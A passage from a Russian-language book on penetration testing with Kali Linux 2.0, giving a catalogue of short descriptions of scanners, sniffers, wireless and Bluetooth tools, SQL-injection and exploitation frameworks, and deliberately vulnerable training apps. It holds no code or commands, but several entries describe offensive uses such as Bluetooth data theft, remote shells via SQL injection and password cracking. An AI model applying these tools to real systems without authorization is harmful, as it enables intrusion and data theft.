Сам по себе NScan — это сканер портов, который использует метод
connect() для составления списка открытых портов хоста. Отличие от
большинства других сканеров портов — это гибкость и скорость.
NetworkActiv Port Scanner — это инструмент исследования и
администрирования сети, который позволяет сканировать и
исследования внутренние LAN и внешние WAN.
Хороший сканер портов — просто один из базовых инструментов
каждого, кто-то всерьёз интересуется интернет-штучками.
BluesPortScan — это, я думаю, самый быстрый сканер для 32-битных
Windows, из тех, которые могут быть найдены в сети.

По материалам сайта WebWare.biz

100

Тестирование на проникновение с помощью Kali Linux 2.0

ZMap

ZMap сканер с открытым исходным кодом, который даёт
возможность исследователям просканировать сети размером с весь
Интернет. На единственной машине с хорошим каналом ZMap
выполнить полное сканирование всех адресов IPv4 в течение 45
минут, упираясь в теоретический придел гигабитных Ethernet.

subdomainbruteforcer

Subdomain-bruteforcer — это многопоточный инструмент
написанной на Python для перечисления субдоменов из файла
словаря. Особенно полезен для поиска админок ил и других
хитроумных веб-практик.

ircsnapshot

Ircsnapshot — это бот, написанный на Python, которые
подсоединяется к серверу чтобы извлечь пользовательские
хостмаски, имена и принадлежность каналов; также используется
для создания карты на основе наскрёбанных данных. Полезен для
разведки на IRC сервере полном подозрительных ботов.
Поддерживает SOCKS и TOR.

Сниффинг

Wireshark

Chaosreader

Wireshark используется сетевыми специалистами по всему миру для
решения проблем, анализа, разработки программного обеспечения и
протоколов, а также в образовании.
Бесплатный инструмент для отслеживания TCP/UDP/… сессий и
извлечения данных приложений из "подсмотренных" или сдампленных
(tcpdump) логов. Это "всеядная" программа, она извлекает сессии
telnet, FTP файлы, HTTP передачи (HTML, GIF, JPEG, …), SMTP письма, …
из захваченных данных внутри сетевого трафика.

dsniff

dsniff — это коллекция инструментов для сетевого аудита и
тестирования на проникновение. dsniff, filesnarf, mailsnarf, msgsnarf,
urlsnarf, и webspy пассивно следят за сетью в поисках интересной
информации.

Ettercap

Ettercap — это инструмент для атаки человек-по-середине в LAN. Её
особенностями являются сниффинг живых соединений, фильтрация
контента на лету и многие другие интересные трюки.

NetworkMiner это инструмент для криминалистического анализа сети
NetworkMiner (Network Forensic Analysis Tool — NFAT) под Windows. NetworkMiner
может быть использован как пассивный сетевой сниффер/перехватчик
пакетов для определения операционных систем, сессий, имён хостов,
По материалам сайта WebWare.biz

101

Тестирование на проникновение с помощью Kali Linux 2.0

открытых портов и т.д.
RawCap

Spike proxy

RawCap — это бесплатная программа командной строки, сетевой
сниффер под Windows, который использует сырые сокеты.
Не все приложения делаются одинаково, и, следовательно, многие
должны анализироваться индивидуально. SPIKE Proxy — это инструмент
профессионального уровня для поиска уязвимостей уровня
приложений в веб-приложениях.

Tcpdump

Tcpdump выводит заголовки пакетов на сетевом интерфейсе, которые
соответствуют логическому выражению.

Tcpreplay

Tcpreplay это набор инструментов под лицензией BSD написанных
Aaron Turner для операционных систем UNIX (и Win32 под Cygwin),
которые дают вам возможность использовать ранее захваченный
трафик в формате libpcap для тестирования различных сетевых
устройств.

Pirni Sniffer

Pirni — это первый в мире нативный (родной) сетевой сниффер для
iPhone. Wi-FI iPhone’а имеет некоторые большие недостатки в
аппаратном обеспечении, которые препятствуют должным образом
перевести устройство в режим promiscious.

Ufasoft Snif

Ufasoft Snif — это сетевой сниффер, предназначенный для захвата и
анализа покетов проходящих через сеть. Используя драйвер пакетов, он
запрашивает все пакеты в сети, в которой находится драйвер сетевой
карты (даже если пакеты не адресованы этому компьютеру).

Перечисление
dnsenum

Цель Dnsenum — собрать так много информации о домене, как это
возможно.

DumpSec

SomarSoft’s DumpSec — это программа аудита безопасности для
Microsoft Windows NT/XP/200x.

LDAP Browser

NBTEnum

LDAP Browser — это главный клиент директорий LDAP в стиле Explorer,
доступный для платформ Win32.
NetBIOS Enumeration Utility (NBTEnum) — это утилита под Windows,
которая может быть использована для перечисления информации
NetBIOS от одного хоста или диапазонов хостов.

По материалам сайта WebWare.biz

102

Тестирование на проникновение с помощью Kali Linux 2.0

nbtscan

wmi client

Этот инструмент может сканировать на открытые NETBIOS имена
серверов в локальной или удалённой TCP/IP сети, а это является
первым шагов для поиска открытых общих ресурсов.
Это реализация клиента DCOM/WMI, основанная на источниках
Samba4. Программа использует механизмы RPC/DCOM для
взаимодействия со службами WMI на машинах Windows 2000/XP/2003.

Dnsmap

Dnsmap, в первую очередь, предназначен для использования
пентестерами во время фазы сбора информации при оценке
безопасности инфраструктуры.

Dnsrecon

Одной из лучших функций этого инструмента, дающей прекрасные
результаты, является перечисление служебных записей SRV.

Dnstracer

Dnstracer определяет, откуда заданный сервер доменных имён (DNS)
получает свою информацию и следует по цепочке DNS серверов
приходя к тому серверу, которые является первоначальным
источником данных.

Сетевые
инструменты
fragroute

fragroute перехватывает, модифицирует и перезаписывает исходящий
трафик, предназначенный для указанного хоста.

hping

hping — ассемблер/анализатор командный строки ориентированный
на TCP/IP пакеты.

Scapy

Scapy — это мощная интерактивная программа манипуляции
пакетами. Она способна подделывать или декодировать пакеты
многих протоколов, отправлять их по проводу, захватывать их,
проверять на соответствие запросы и ответы и многое другое.

Stunnel

tcptraceroute

Программа stunnel предназначена для работы обёрткой шифрования
SSL между удалённым клиентом и локальным (запускаемые inetd) или
удалённым сервером.
tcptraceroute это использующая TCP пакеты реализация трассировки.
Обычно используют traceroute(8), отсылающую либо UDP, либо ICMP
ECHO пакеты с TTL один и увеличением TTL вплоть до достижения
пункта назначения.

По материалам сайта WebWare.biz

103

Тестирование на проникновение с помощью Kali Linux 2.0

tracetcp

tracetcp — трассирующая утилита командной строки под WIN32,
которая использует пакеты TCP SYN, а не ICMP/UDP пакеты, которые
обычно используются для этого в других реализациях, что приводит к
обходу шлюзов, блокирующих традиционные пакеты трассировки.

Yersinia

Yersinia — сетевой инструмент, созданный для получения
преимущества из некоторых слабостей различных сетевых протоколов.
Программа анализирует и тестирует развёрнутые сети и системы.

Nemesis

Nemesis — это утилита командной строки под UNIX подобные и
Windows системы для создания и инжекта пакетов. Nemesis хорошо
подойдёт для тестирования систем обнаружения вторжений в сеть
(Network Intrusion Detection Systems), файерволов, IP стеков и
множества других задач. Будучи утилитой командной строки, Nemesis
великолепно подходит для автоматизации и скриптинга.

Беспроводные

Aircrack-ng

Kismet

Aircrack — программа по взлому ключей 802.11 WEP и WPA-PSK, она
может восстановить ключи, когда достаточно захвачено пакетов с
данными.
Kismet это детектор беспроводных сетей 802.11 layer2, сниффер
система выявления вторжения. Kismet будет работать с любыми
беспроводными картами, которые поддерживают режим сырого
мониторинга (raw monitoring — rfmon) и может снифить
трафик 802.11b, 802.11a и 802.11g.

NetStumbler

NetStumbler поставляет инструменты, которые помогут вам
обнаружить стандарты 802.11 a/b/g WLAN. Хотя вардрайвинг является
главным главным использованием этой программы, она также может
быть использована для верификации сетевых настроек.

AirGrab WiFi
Radar

AirGrab WiFi Radar — это инструмент для отображения информации о
базовых станциях Apple Airport и других WiFi (802.11b/g/n)
беспроводных точек доступа.

Клиентское приложение загружается на ваш PDA или мобильный
телефон Windows где оно будет работать в тихом режиме в фоне.
AirMobile agent Если приложение находит мошенническую точку доступа, то она
будет исследовать ТД на предмет является ли она прямой угрозой
для вашей сети.

AirRadar 2

AirRadar позволяет вам сканировать на наличие открытых сетей и
помечает их как избранные или фильтрует их. Просматривайте
детальную сетевую информацию, график уровня сигнала сети и

По материалам сайта WebWare.biz

104

Тестирование на проникновение с помощью Kali Linux 2.0

автоматически подключайтесь к открытым точка в радиусе
доступности.

iStumbler

iStumbler — это лидирующий инструмент по обнаружению
беспроводных сетей для Mac OS X, он имеет плагины для нахождения
сетей AirPort, Bluetooth устройств, служб Bonjour и информацию по
расположению с вашим Mac.

KisMAC

KisMAC — это приложение с открытым исходным кодом, бесплатное,
которое является сниффером/сканером для Mac OS X. У него есть
преимущества по сравнению с MacStumbler / iStumbler / NetStumbler
в том, что оно использует режим наблюдения и пассивное
сканирование.

WirelessMon

WirelessMon — это программный инструмент, который позволяет
пользователям мониторить статус беспроводного WiFi адаптера(ов) и
собирать информацию о близлежащих беспроводных точках доступа
и хот-спотах в реальном времени.

Vistumbler

WaveStumbler

Xirrus Wi-Fi
Inspector

AirMagnet VoFi
Analyzer

Vistumbler это сканер беспроводных сетей, написан на AutoIT для
Vista, Windows 7, and Windows 8. WiFiDB — это база данных,
написанная на PHP и хранящаяся в файлах Vistumbler VS1. Хранит
треки о всех точках доступа с GPS, картах в kml, графиках сигнала,
статистики и прочем.
WaveStumbler — это консольный составитель карт сетей, основанных
на 802.11 под Linux. Он рапортует о базовой информации ТД, такой
как канал, WEP, ESSID, MAC и т.д.
Xirrus Wi-Fi Inspector — это мощный инструмент для управления и
решения проблем с Wi-Fi в компьютерах с Windows XP SP2 и более
поздних, Vista, или 7. Создан для тестирования характеристик
целостности и производительности вашего Wi-Fi соединения.
AirMagnet VoFi Analyzer — единственное в индустрии решение для
разрешения проблем голос-через-WLAN в полевых условиях. VoFi
Analyzer обеспечивает полный анализ зашифрованного WLAN
трафика, оценивает все звонки с точки зрения качества звонка и
активно идентифицирует проблемы всех видов, включая проблемы с
телефоном, проблемы с роумингом, проблемы с QoS и RF.
Программа платная — это похоже на рекламную вставку —
оставлю из уважения к труду авторов подборки.

По материалам сайта WebWare.biz

105

Тестирование на проникновение с помощью Kali Linux 2.0

Airpwn

Airpwn — это фреймворк для 802.11 (беспроводных) инжектов
пакетов. Airpwn прослушивает входящие беспроводные пакеты и
если дата соответствует заданному в файлах настройки образцу, в
пользовательское содержимое вставляется “spoofed” от
беспроводной точки доступа. С точки зрения беспроводного клиента,
airpwn становится сервером.

WifiScanner

WifiScanner — это инструмент, который был создан для обнаружения
беспроводных узлов (например, точек доступа и беспроводных
клиентов. Он распространяется по лицензии GPL.
Он работает с картами CISCO® card и prism картой с драйвером hostap
или драйвером wlan-ng, prism54g, Hermes/Orinoco, Atheros, Centrino,

Встроена система IDS для выявления аномалий вроде узурпации
MAC.

Bluetooth
Сканер Bluetooth под Linux и Mac OS X. Harald Scan способен выявить
Haraldscan мажорные и минорные классы устройств, а также попытке резолвить MAC
адрес устройства для большинства известных вендоров Bluetooth MAC.

FTS4BT

FTS4BT — передовой анализатор протокола Bluetooth. Разработчики и
инженеры по тестированию полагаются на FTS4BT когда проходят цикл
разработки, отладки, тестирования, верификации и квалификации.

BlueScanner — это bash скрипт, который реализует сканер Bluetooth
BlueScanner устройств. Этот инструмент создан для извлечения всей возможной
информации из Bluetooth устройства без необходимости сопряжения.
Blooover II — это инструмент для аудита, основан на Java (J2ME). Он
существует в виде версии Blooover II для аудита мобильных J2ME и в
Blooover II
издании для производителей. Простая утилита для тестирования
уязвимостей.

BTScanner

BTScanner для XP — это инструмент аудита окружения Bluetooth под
Microsoft Windows XP, реализация использует библиотеки bluecove
(открытую реализацию JSR-82 Bluetooth API для Java).

BlueSpam

BlueSpam ищет всевозможные устройства bluetooth и отправляет на них
файл (спамет их) если они поддерживают OBEX. По умолчанию будет
отправлен маленький текст. Для настройки сообщения, которое должно

По материалам сайта WebWare.biz

106

Тестирование на проникновение с помощью Kali Linux 2.0

быть отправлено, вам нужен наладонник с картой SD/MMC card, там вы
создаёте директорию /PALM/programs/BlueSpam/Send/ и кладёте туда
файл (будут работать файлы любого типа .jpg всегда клёво) который вам
хотелось бы отправить.

BTCrawler

Приложение используется для поиска Bluetooth устройств и
обеспечиваемых ими служб. Запустите на устройстве с поддержкой J2ME,
MIDP 2.0 и JSR082 (Java API для Bluetooth)

Bluediving

Bluediving — это набор для тестирования на проникновение Bluetooth.
Он реализует атаки вроде Bluebug, BlueSnarf, BlueSnarf++, BlueSmack,
имеет аткие особенности как спуфинг адреса Bluetooth, шел AT и сокета
RFCOMM и реализация инструментов вроде carwhisperer, bss, генератор
пакетов L2CAP, сбрасыватель соединений L2CAP, сканер RFCOMM и
режим сканирования greenplaque scanning mode (используя более чем
одно hci устройство).

Bluesnarfer крадёт информацию из беспроводных устройств через
Bluetooth соединение. Связь может быть между мобильными
Bluesnarfer
телефонами, PDA или компьютерами. Вы можете иметь доступ к
календарю, списку контактов, почтовым и текстовым сообщениям.

Веб сканеры

Arachni

Burp Suite

Arachni — это полностью автоматизированная система, которая в
полную силу проверяет ваш веб-сайт "на вшивость". Как только
сканирование запущено, это приложение больше не будет беспокоить
вас, вмешательство пользователя больше не требуется.
Burp Suite — это интегрированная платформа для выполнения
тестирования безопасности веб-приложений.

CAL9000

CAL9000 — это коллекция инструментов тестирования безопасности вебприложений, дополненная функциями установки веб-прокси и
автоматических сканеров. CAL9000 даёт вам гибкость и
функциональность, которая вам нужна для более эффективных усилий
при ручном тестировании.

CAT

CAT создан для удовлетворения потребностей при ручном тестировании
на проникновение веб-приложений для более комплексных,
требовательных задач в тестировании приложений.

По материалам сайта WebWare.biz

107

Тестирование на проникновение с помощью Kali Linux 2.0

CookieDigger помогает выявить слабое создание куки и небезопасные
реализации управление сессиями в веб-приложениях. Этот инструмент
CookieDigger
работает собирая и анализируя кукиз, которые генерируются вебприложением для множества пользователей.

DIRB

DIRB — это сканер веб контента. Он ищет существующие (и/или скрытые)
веб объекты. В основе его работы лежит поиск по словарю, он
формирует запросы к веб-серверу и анализирует ответ.

Fiddler

Fiddler — это отладочный веб-прокси, который записывает весь трафик
HTTP(S) между вашим компьютером и Интернетом. Fiddler позволяет
вам инспектировать весь HTTP(S) трафик, устанавливать точки
прерывания и "играться" с входящими и исходящими данными.

Gamja

Gamja будет искать слабые точки — XSS(межсайтовый скриптинг) и SQLинъекции — а также ошибки валидации URL параметра. Кто может
знать, какой параметр является слабым параметром? Gamja будет
полезной в поиске уязвимостей [ XSS, ошибок валидации, SQLинжектов].

Инструмент для автоматического сканирования безопасности вебGrendel-Scan приложений. Также присутствует много функция для ручного
тестирования на проникновение.

HTTrack

HTTrack — это бесплатная и простая в использовании утилита оффлайн
браузера. Она позволяет вам загружать сайт из Всемирной Сети на
локальный диск, создавать рекурсивную структуру каталогов, получать
HTML, картинки и другие файлы с сервера на ваш компьютер.

LiLith

LiLith — это инструмент, написанный на Perl для аудита веб-приложений.
Этот инструмент анализирует веб-страницы в поиска тэга ,
который обычно перенаправляет на динамичные страницы, на которых
можно искать SQL-инъекции и другие слабости.

Nikto2

Nikto — это сканер веб-серверов с открытым исходным кодом (GPL), он
выполняет полное тестирование веб-серверов по множеству
параметров, включая более 6500 потенциально опасных файлов/CGI.

Paros

Программа под названием ‘Paros’ для людей, которые нуждаются в
безопасности их веб-приложений. Она бесплатная и полностью
написана на Java.

Powerfuzzer Powerfuzzer — это высоко автоматизированный и полностью
настраиваемый веб-фаззлер (основанный на HTTP протоколе фаззлер
По материалам сайта WebWare.biz

108

Тестирование на проникновение с помощью Kali Linux 2.0

приложений), он основан на многих других доступных фаззлеров с
открытым исходным кодом и информации, собранной из ряда
источников безопасности и веб-сайтов.
proxyScan.pl — это инструмент безопасного тестирования на
проникновение для сканирования хостов и портов через веб прокси
ProxyScan.pl
сервер. Особенности включают различные HTTP методы, такие как GET,
CONNECT, HEAD, а также диапазоны хостов и портов.

Ratproxy

Полуавтоматический, в значительное мере пассивный инструмент
аудита безопасности веб-приложений, оптимизирован на точное и
чувствительное выявление и автоматическую аннотацию потенциальных
проблем и связанных с безопасностью образцов построения,
основанных на наблюдении существующего, генерируемого
пользователем трафика в комплексной среде web 2.0.

ScanEx

Это простая утилита, которая запускается против целевого сайта и ищет
внешние ссылки и вредоносные кроссдоменные инжекты. Т.е. она
выявляет сайты, которые уязвимы к XSS и в которых уже подложен
инжект.

Scrawlr

Scrawlr, создана HP Web Security Research Group совместно MSRC, если
сказать коротко, это SQL-инжектор и кролер. Scrawlr обойдёт весь вебсайт в это же время анализируя параметры каждой веб-страницы на
уязвимость SQL Injection.

Springenwerk

Springenwerk — это бесплатный сканер безопасности кроссайтового
скриптинга (XSS), написанный на Python.

Sqlmap

sqlmap — это инструмент с открытым исходным кодом для тестирования
на проникновение, который автоматизирует процесс выявления и
эксплуатирования бреши SQL-инъекций, при этом она позволяет
получить все данные с сервера базы данных.

Sqlsus

sqlsus — инструмент с открытым исходным кодом для MySQL-инъекций
и захвата, написан на Perl.

THCSSLCheck

w3af

Инструмент Windows, который проверяет удалённый ssl стек на
поддерживаемые шифры и версию.
w3af — это фреймворк атаки и аудита веб-приложений. Цель проекта —
создать фреймворк для помощи в обеспечении безопасности ваших вебприложений, путём поиска и эксплуатирования уязвимостей веб-

По материалам сайта WebWare.biz

109

Тестирование на проникновение с помощью Kali Linux 2.0

приложений.

Wapiti

Wapiti позволяет вам проводить аудит безопасности веб-приложений.
Он выполняет сканирование "чёрный ящик" (без доступа к исходному
коду), т.е. он не изучает исходный код приложения, а работает с уже
развернутыми сайтами, он ищет в них скрипты и формы, в которые
можно было бы повставлять данные.

Webfuzzer

Webfuzzer — это инструмент, который может быть полезен как тестерам
на проникновение, так и веб-мастерам. Как характеризует сам автор
своё детище "это сканер веб уязвимостей бедного человека".

WebGoat

WebGoat содержит намеренно небезопасные веб-приложения J2EE,
поддерживаемые OWASP, они предназначены быть уроками по
безопасности веб-приложений.

Websecurify

Websecurify Suite — это решение по безопасности веб-приложений,
предназначенных для запуска исключительно из вашего веб-браузера.

WebSlayer

WebSlayer — это инструмент предназначенный для брут-форсинга вебприложений, он может использоваться для нахождения источников, на
которые не ведут ссылки (каталоги, сервлеты, скрипты и т.д.),
брутфорсятся GET и POST параметры, брутфорсяться параметры форм
(пользователь/пароль), фаззлинг и т.д. Этот инструмент имеет генератор
запросов и прост и эффективен для анализа.

WhatWeb

WhatWeb идентифицирует веб-сайты. Его цель — ответить на вопрос,
“Что это за веб-сайта?”. WhatWeb распознаёт веб-технологии, включая
системы управления содержимым (CMS), платформы для блоггинга,
статистику/анализ пакетов, JavaScript библиотеки, веб-сервера и
встроенные устройства.

Wikto

Wikto — это Nikto для Windows – но с парочкой модных функций,
включая проверку кода на ошибки логики Fuzzy, фоновый майнер, поиск
каталогов с использованием Google и мониторинг
запросов/ответов HTTP в реальном времени.

WSDigger

WSDigger — это бесплатный с открытым исходным кодом инструмент,
созданный в McAfee Foundstone для автоматической проверки вебслужб по принципу "чёрного ящика" (без доступа к исходному коду) —
фактически, для тестирования на проникновение. WSDigger — это более
чем инструмент, это фреймворк для тестирования веб-служб.

По материалам сайта WebWare.biz

110

Тестирование на проникновение с помощью Kali Linux 2.0

XSSploit

XSSploit — это мультиплатформенный сканер и эксплуататор
межсайтового скриптинга, он написан на Python. Он был создан для
помощи в поиске и использовании XSS уязвимостей в миссиях
тестирования на проникновение.

Fireforce

Fireforce это расширение для Firefox, созданное для выполнения брутфорс атак на GET и POST формы. Fireforce может использовать словари
или генерировать пароли, основываясь на разных наборах символов.

Netsparker

Netsparker — это сканер безопасности веб-приложений с поддержкой
как выявления так и эксплуатации уязвимостей. Его цель — работать без
ложных срабатываний, сообщать только о реальных уязвимостях после
успешного их эксплуатирования или после проверки их другими
способами.

Havij

Havij — это автоматизированный инструмент по SQL-инжектам, которые
помогает тестерам на проникновение находить и эксплуатировать SQLинъекции в веб-странице.

Уязвимости в
базах данных

Berkeley DB

Oracle Berkeley DB — это семья открытых, встраиваемых баз
данных, которые позволяют разработчикам инкорпорировать в их
приложения быстрые, масштабируемые, транзакционные базы
данных с промышленным уровнем надёжности и доступности.

Database browser

Database browser — это универсальный редактор таблиц. Это
простой в использовании инструмент, который позволяет
пользователям подключаться к любой базе данных и бродить по
ней или изменять данные, запускать sql скрипты, экспортировать и
печатать данные.

Db2utils

db2utils — эта маленькая коллекция утилит db2. В данный момент
она включает три различные утилиты: db2disco, db2fakesrv и
db2getprofile.

Oracle Auditing
Tools

Oracle Auditing Tools — это набор инструментов, которые могут
быть использованы для аудита безопасности внутри сервера базы
данных Oracle.

Oscanner

Oscanner — это оценочный фреймворк Oracle, разработанный на

По материалам сайта WebWare.biz

111

Тестирование на проникновение с помощью Kali Linux 2.0

Java. Он имеет основанную на плагинах архитектуру и поставляется
с парой плагинов.
SQLAT — это набор инструментов, которые могут быть полезны
при пентестинге MS SQL сервера. Эти инструменты всё ещё в
SQL Auditing Tools разработке, но уже достаточно стабильны. Эти инструменты
выполняют атаки по словарю, загружают файлы, читают регистр и
дампят SAM.

THC-ORACLE

THC представляет крипто документ по анализу механизма
аутентификации, используемом в базах данных Oracle. THC
дальнейшие релизы практических инструментов для захвата и
взлома паролей от баз данных Oracle за секунды.

thcorakelcrackert11g

OrakelCrackert это взломщик хешей паролей от баз данных Oracle
11g, используя слабости в стратегии хранения паролей Oracle. С
Oracle 11g были представлены чувствительные к регистру хеши
SHA1.

DBPwAudit

DBPwAudit — это Java инструмент, который позволяет выполнять
различный онлайн аудиты качества паролейдля нескольких
движков баз данных. Дизайн приложения позволяет легко
добавлять дополнительные драйвера баз данных простым
копированием новых JDBC драйверов в директорию jdbc.

MYSQLAudit

Скрипт наPython для базового аудита распространённых ошибок
конфигурации в MySQL.

sqlininja

sqlininja эксплуатирует веб-приложения, которые используют
Microsoft SQL Server в качестве фоновой базы данных. Она
фокусируется на получении работающего шелла на удалённом
хосте. sqlninja не ставит на первое место поиск SQL-иъекций, но
автоматизирует процесс эксплуатации, как только она была
найдена.

GreenSql

GreenSQL это файервол с открытым исходным кодом для баз
данных, используемый для защиты от атак SQL-инъекции.
GreenSQL работает как прокси и имеет встроенную поддержку для
MySQL и PostgreSQL.

Сканеры
уязвимостей
По материалам сайта WebWare.biz

112

Тестирование на проникновение с помощью Kali Linux 2.0

Metasploit
Framework

OpenVAS

The Metasploit Framework — это продвинутая платформа с открытым
исходным кодом для разработки, тестирования и эксплуатирования
кода.
OpenVAS — это фреймворк нескольких служб и инструментов,
предлагающих всестороннее и мощное решение по управлению
сканированием уязвимостей.

Nessus

Nessus выявляет, сканирует и профилирует многочисленные
устройства и источники для увеличения безопасности и соответствия
в вашей сети.

Porkbind

Porkbind — это многопоточный сканер серверов имён, который
может рекурсивно делать запросы на сервера имён поддоменов для
строк версий (например, сервера имён sub.host.dom, затем сервера
имён host.dom).

Canvas

Immunity CANVAS от Immunity делает доступными сотни эксплойтов,
систему автоматического эксплуатирования и всесторонний,
надёжный фреймворк по разработке эксплойтов для
тестерировщиков на проникновение и профессионалов по
безопасности по всему миру.

SocialEngineerToolkit
(SET)

Social-Engineer Toolkit (SET) создан для продвинутых атак на
"человеческий фактор". SET был выпущен вместе с
запуском http://www.social-engineer.org и быстро стал стандартным
инструментом в арсенале пентестеров.

Acunetix

Acunetix web vulnerability scanner — это инструмент созданный для
выявления дыр в безопасности в ваших веб-приложениях, которые
при атаке, вероятно, станут слабым звеном, через которые будет
получен незаконный доступ к вашей системе и данным. Он ищет
множество уязвимостей, включая SQL-инъекции, межсайтовый
скриптинг и слабые пароли.

RIPS

RIPS — это инструмент, написанный на PHP, для поиска уязвимостей
в PHP приложениях используя статический анализ кода.

Rapid7 NeXpose — это сканер уязвимостей, цель которого
поддержать полный жизненный цикл управления уязвимостями,
Rapid7 NeXpose включая обнаружение, выявление, верификацию, классификацию
риска, анализ влияния, описание и смягчение. Он интегрирован с
Rapid7 от Metasploit для исследования уязвимостей.
По материалам сайта WebWare.biz

113

Тестирование на проникновение с помощью Kali Linux 2.0

VulnDetector

VulnDetector — это проект нацеленный на сканирование веб-сайта и
выявление различных связанных с веб уязвимостью безопасности в
веб-сайте. В настоящее время VulnDetector может выявить такие
уязвимости как межсайтовый скриптинг (XSS) и SQL-инъекции (SQLI) в
веб-скриптах, но не имеет простого в работе интерфейса.

DSSS поддерживает blind/error SQLi тесты, сканирование в одну
глубину и продвинутое сравнение различных атрибутов, чтобы
отличить слепые ответы (заголовки, статусные коды HTTP,
Damn Small SQLi
отфильтрованного только по длине текста и нечёткое сравнение
Scanner
самого контента). Если вы удовлетворены результатами
сканирования коммерческих инструментов, то я уверен, что вы
будете ещё более удовлетворены этим инструментом.

CAT.NET

CAT.NET — это анализатор исполнимого кода, который помогает
выявить распространённые варианты определённых преобладающих
уязвимостей, которые могут привести к атакам общего вектора,
таким как межсайтовый скриптинг (XSS), SQL-инжекты и XPath
инжекты.

Peach Fuzzer

Peach — это SmartFuzzer, который может и составлять запросы как
генерацией, так и перестановкой. Peach требует создание
файлов PeachPit, которые определяют структуру, тип информации и
отношения для данных.

GFI LanGuard

GFI LanGuard — это сканер безопасности сети и уязвимостей,
созданный для помощи в управлениями патчами, сетью и аудита
программного обеспечения и оценки уязвимостей. Цена зависит от
количества IP адресов для сканирования. Есть бесплатная пробная
версия для сканирования до 5 IP адресов.

MBSA

Microsoft Baseline Security Analyzer (MBSA) — это простой в
использовании инструмент, предназначенный для IT
профессионалов, который помогает малым и средним бизнесам
определять их состояние безопасности в соответствии с
рекомендациями по безопасности Microsoft и предлагает
конкретные рекомендации по итогу проверки.

Уязвимые
приложения
Damn Vulnerable

Damn Vulnerable Web App (DVWA) это веб-приложение на

По материалам сайта WebWare.biz

114

Тестирование на проникновение с помощью Kali Linux 2.0

Web Application
(DVWA)

PHP/MySQL, которое чертовски уязвимое. Главная его цель — это
помощь профессионалам по безопасности для тестирования их
способностей и инструментов не нарушая закон, помочь вебразработчиком лучше понимать процессы безопасности вебприложений и помочь учителям/студентам научить/изучить
безопасности веб-приложений в обстановке класса.

Damn Vulnerable
Linux

Damn Vulnerable Linux (DVL) — этот дистрибутив Linux всем хорош,
не так ли? Его разработчики потратили часы, начиняя его
сломанным, плохо сконфигурированным, устаревшим и уязвимым
программным обеспечением, что делает его уязвимым для атак.
DVL не создан для запуска на вашем компьютере — это инструмент
для студентов изучающих безопасность.

Metasploitable

Metasploitable — это традиционная уязвимая виртуальная машина
Linux. Эта VM может быть использована для проведения тренингов
по безопасности, тестировании инструментов по безопасности и
практике в тестировании популярных техник по проникновению.

Kioptrix

Этот образ Kioptrix VM является лёгкой задачей. Цель игры —
получить доступ рута любыми возможными способами, кроме
реального взлома сервера VM или игрока). Цель этой игры —
научить основным инструментам и техникам в оценке уязвимостей
и их эксплуатации.

HoneyDrive

HoneyDrive — это виртуальное устройство (OVA) с установленной
Xubuntu Desktop 12.04 32-битной версией. Оно содержит
различные пакеты такого программного обеспечения как
"приманки" — honeypot. Это Kippo SSH honeypot, Dionaea malware
honeypot, Honeyd low-interaction honeypot, Glastopf web honeypot
вместе с Wordpot, Thug honeyclient и другие.

Badstore

OWASP Insecure
Web App Project

VulnApp

Badstore.net предназначен для того, чтобы вы понимали, как
хакеры охотятся на уязвимости веб-приложений и чтобы вы
понимали как уменьшить вашу подверженность.
InsecureWebApp — это веб-приложение, которое включает
приложения с распространёнными уязвимостями. Это цель для
автоматического и ручного тестирования на проникновения,
анализа исходного кода, оценки уязвимостей и моделирования
угроз.
VulnApp — это ASP.net приложение под лицензией BSD,

По материалам сайта WebWare.biz

115

Тестирование на проникновение с помощью Kali Linux 2.0

реализующее самые распространённые приложения, с которыми
мы сталкиваемся в обстоятельствах проведения своих тестов на
проникновение.

OWASP Vicnum

OWASP Broken
Web Applications
Project

LAMPSecurity

Vicnum это проект OWASP, состоящий из уязвимых вебприложений, основанных на играх, обычно использующих для
убийства времени. Эти приложения демонстрируют популярные
проблемы веб-безопасности, такие как межсайтовый скриптинг,
sql инжекты и проблемы с манипуляцией сессиями.
The Broken Web Applications (BWA) Project производит виртуальную
машину с запущенными различными приложениями с известными
уязвимостями.
Тренинг LAMPSecurity — это серия образов виртуальных машин
вместе с дополнительной документацией, предназначенной для
обучения безопасность Linux, Apache, PHP, MySQL.

Зеркало намеренно небезопасных приложений и старого
программного обеспечения с известными уязвимостями.
Virtual Hacking Lab Используется концептов / тренингам по безопасности / в целях
обучения. Доступен как в образах виртуальных машин или как live
iso или в по отдельности.

WAVSEP

The Web Application Vulnerability Scanner Evaluation Project — это
уязвимое веб-приложение, разработанное чтобы помочь оценить
особенности, качество и точность сканеров уязвимостей вебприложений. Эта оценочная платформа содержит набор
уникальных уязвимых веб-страниц, которые могут использоваться
для тестирования различных свойств сканеров веб-приложений.

Moth

Moth — это образ VMware с настроенными уявзимыми вебприложениями и скриптами, которые вы можете использовать для
тестирования сканеров безопасности веб-приложений, тестировать
инструменты статичного анализа кода (SCA), давая вводный курс в
безопасность веб-приложений.

SecuriBench

Stanford SecuriBench — это набор реальных рабочих программ для
использования в качестве испытательного полигона для
статических и динамических инструментов безопасности.
Выпуск .91a фокусируется на веб-приложениях написанных на Java.

NETinVM

NETinVM это единичный образ для виртуальной машины VMware

По материалам сайта WebWare.biz

116

Тестирование на проникновение с помощью Kali Linux 2.0

или VirtualBox, который содержит готовую для запуска серию
виртуальных машин User-mode Linux (UML) (Linux
пользовательского режима), которые, когда запущены,
соответствуют целой компьютерной сети внутри виртуальной
машины VMware или VirtualBox.

Dojo

Web Security Dojo — это настроенная автономная обучающая среда
по безопасности веб-приложений. Для загрузки доступны версии
под VirtualBox и VMware. Dojo — это проект с открытым исходным
кодом, цель которого — быть обучающей средой, которую можно
использовать как платформу для тестирования на проникновение,
поскольку в неё уже включены уязвимые службы и приложения.

Live CD

BackTrack

BackTrack — это основанный на Linux арсенал для тестирования на
проникновение, которые помогает профессионалам в безопасности в
их оценке, находясь в их чисто родной среде, выделенной для хакинга.
В настоящее время дистрибутив переименован в Kali Linux.

Kali Linux

Kali Linux (ранее известный как BackTrack) — это основанный на Debian
дистрибутив с коллекцией инструментов по безопасности и
криминалистике. Его особенностями являются своевременные
обновления безопасности, поддержка архитектуры ARM, выбор из
четырёх популярных окружений рабочего стола и лёгкое обновление до
новых версий дистрибутивов.

BackBox

BackBox — это дистрибутив Linux, основанный на Ubuntu. Он был создан
для осуществления тестов на проникновение и оценки безопасности.
Создан быть быстрым, простым в использовании и обеспечивать
минимальное, но полное окружение рабочего стола; благодаря его
собственным репозиториям программного обеспечения, всегда
остаётся обновлённым до последних стабильных версий большинства
